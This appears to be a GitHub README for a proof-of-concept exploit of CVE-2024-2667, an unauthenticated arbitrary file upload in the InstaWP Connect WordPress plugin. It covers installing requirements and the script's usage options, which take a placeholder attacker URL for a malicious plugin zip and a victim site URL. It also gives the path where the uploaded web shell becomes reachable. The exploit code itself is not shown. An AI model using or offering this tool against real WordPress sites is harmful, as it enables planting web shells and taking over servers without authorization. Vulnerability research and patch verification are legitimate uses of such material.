CVE-2024-2667-Poc 🚀
Description
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
Script Usage Guide ⚙️
Install Requirements
| Description | Details | Icon |
|---|
| Install Required Libraries | Use pip to install the necessary Python libraries: requests and beautifulsoup4. | 🛠️ |
| Command to Install | Run: pip install requests beautifulsoup4. | 📥 |
Run the Script
Check Vulnerability
Shell Location
| Description | Details | Icon |
|---|
| Shell Path | If the upload is successful, the shell will be accessible at: | 🐚 |
| wp-content/plugins/instawp-connect/shell.php. | |
usage -help
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
options:
-h, --help show this help message and exit
-up URL_PLUGIN, --url_plugin URL_PLUGIN
URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
-u URL_TARGET, --url_target URL_TARGET
URL of the target WordPress site (e.g., http://victim-domain/).
nxploited/cve-2024-2667-poc
